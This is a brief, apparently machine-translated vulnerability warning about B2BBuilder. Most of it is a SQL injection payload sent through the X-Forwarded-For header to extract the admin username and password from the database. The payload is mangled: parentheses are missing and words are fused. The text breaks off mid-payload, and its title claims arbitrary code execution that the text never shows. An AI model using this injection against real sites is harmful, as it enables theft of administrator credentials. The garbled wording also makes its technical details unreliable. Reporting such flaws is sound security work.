B2BBuilder recent vulnerability-vulnerability warning-the black bar safety net

1, The B2BBuilder head injection background arbitrary code execution The structure of the head test: 1 x-forwarded-for:' andselect 1 fromselect count,concatselect select select concat0x7e,0x27,password,user,0x27,0x7e from b2bbuilderadmin limit 0,1 from informationschema. tables limit...